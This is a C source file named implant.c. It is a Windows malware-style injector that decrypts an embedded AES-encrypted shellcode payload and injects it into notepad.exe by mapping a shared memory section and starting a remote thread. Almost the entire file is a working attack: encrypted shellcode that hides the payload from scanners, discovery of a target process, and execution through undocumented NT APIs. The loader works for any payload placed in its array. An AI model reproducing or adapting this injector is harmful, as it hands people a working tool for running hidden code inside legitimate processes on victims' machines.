implant.c

#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32")

// MessageBox shellcode - 64-bit
unsigned char payload[] = {0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8};
unsigned char key[] = {0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84};

unsigned int payload_len = sizeof(payload);

// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html
typedef struct _CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef LPVOID(WINAPI *VirtualAlloc_t)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect);

typedef VOID(WINAPI *RtlMoveMemory_t)(
    VOID UNALIGNED *Destination,
    const VOID UNALIGNED *Source,
    SIZE_T Length);

typedef FARPROC(WINAPI *RtlCreateUserThread_t)(
    IN HANDLE ProcessHandle,
    IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
    IN BOOLEAN CreateSuspended,
    IN ULONG StackZeroBits,
    IN OUT PULONG StackReserved,
    IN OUT PULONG StackCommit,
    IN PVOID StartAddress,
    IN PVOID StartParameter OPTIONAL,
    OUT PHANDLE ThreadHandle,
    OUT PCLIENT_ID ClientId);

typedef NTSTATUS(NTAPI *NtCreateThreadEx_t)(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer);

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    _Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// https://processhacker.sourceforge.io/doc/ntbasic_8h_source.html#l00186
typedef struct _OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;       // PSECURITY_DESCRIPTOR;
    PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwcreatesection
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html
typedef NTSTATUS(NTAPI *NtCreateSection_t)(
    OUT PHANDLE SectionHandle,
    IN ULONG DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN PLARGE_INTEGER MaximumSize OPTIONAL,
    IN ULONG PageAttributess,
    IN ULONG SectionAttributes,
    IN HANDLE FileHandle OPTIONAL);

// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwmapviewofsection
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html
typedef NTSTATUS(NTAPI *NtMapViewOfSection_t)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize,
    DWORD InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect);

// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FSECTION_INHERIT.html
typedef enum _SECTION_INHERIT
{
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT,
    *PSECTION_INHERIT;

int AESDecrypt(char *payload, unsigned int payload_len, char *key, size_t keylen)
{
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
    {
        return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash))
    {
        return -1;
    }
    if (!CryptHashData(hHash, (BYTE *)key, (DWORD)keylen, 0))
    {
        return -1;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey))
    {
        return -1;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE *)payload, (DWORD *)&payload_len))
    {
        return -1;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

    return 0;
}

int FindTarget(const char *procname)
{

    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    int pid = 0;

    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcSnap)
        return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcSnap, &pe32))
    {
        CloseHandle(hProcSnap);
        return 0;
    }

    while (Process32Next(hProcSnap, &pe32))
    {
        if (lstrcmpiA(procname, pe32.szExeFile) == 0)
        {
            pid = pe32.th32ProcessID;
            break;
        }
    }

    CloseHandle(hProcSnap);

    return pid;
}

HANDLE FindThread(int pid)
{

    HANDLE hThread = NULL;
    THREADENTRY32 thEntry;

    thEntry.dwSize = sizeof(thEntry);
    HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    while (Thread32Next(Snap, &thEntry))
    {
        if (thEntry.th32OwnerProcessID == pid)
        {
            hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
            break;
        }
    }
    CloseHandle(Snap);

    return hThread;
}

// map section views injection
int InjectVIEW(HANDLE hProc, unsigned char *payload, unsigned int payload_len)
{

    HANDLE hSection = NULL;
    PVOID pLocalView = NULL, pRemoteView = NULL;
    HANDLE hThread = NULL;
    CLIENT_ID cid;

    // create memory section
    NtCreateSection_t pNtCreateSection = (NtCreateSection_t)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateSection");
    if (pNtCreateSection == NULL)
        return -2;
    pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)&payload_len, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // create local section view
    NtMapViewOfSection_t pNtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtMapViewOfSection");
    if (pNtMapViewOfSection == NULL)
        return -2;
    pNtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, NULL, NULL, NULL, (SIZE_T *)&payload_len, ViewUnmap, NULL, PAGE_READWRITE);

    // throw the payload into the section
    memcpy(pLocalView, payload, payload_len);

    // create remote section view (target process)
    pNtMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NULL, (SIZE_T *)&payload_len, ViewUnmap, NULL, PAGE_EXECUTE_READ);

    // printf("wait: pload = %p ; rview = %p ; lview = %p\n", payload, pRemoteView, pLocalView);
    // getchar();

    // execute the payload
    RtlCreateUserThread_t pRtlCreateUserThread = (RtlCreateUserThread_t)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "RtlCreateUserThread");
    if (pRtlCreateUserThread == NULL)
        return -2;
    pRtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, pRemoteView, 0, &hThread, &cid);
    if (hThread != NULL)
    {
        WaitForSingleObject(hThread, 500);
        CloseHandle(hThread);
        return 0;
    }
    return -1;
}

int main(void)
{

    int pid = 0;
    HANDLE hProc = NULL;

    pid = FindTarget("notepad.exe");

    if (pid)
    {
        printf("Notepad.exe PID = %d\n", pid);

        // try to open target process
        hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
                                PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                            FALSE, (DWORD)pid);

        if (hProc != NULL)
        {
            // Decrypt and inject payload
            AESDecrypt((char *)payload, payload_len, (char *)key, sizeof(key));
            InjectVIEW(hProc, payload, payload_len);
            CloseHandle(hProc);
        }
    }
    return 0;
}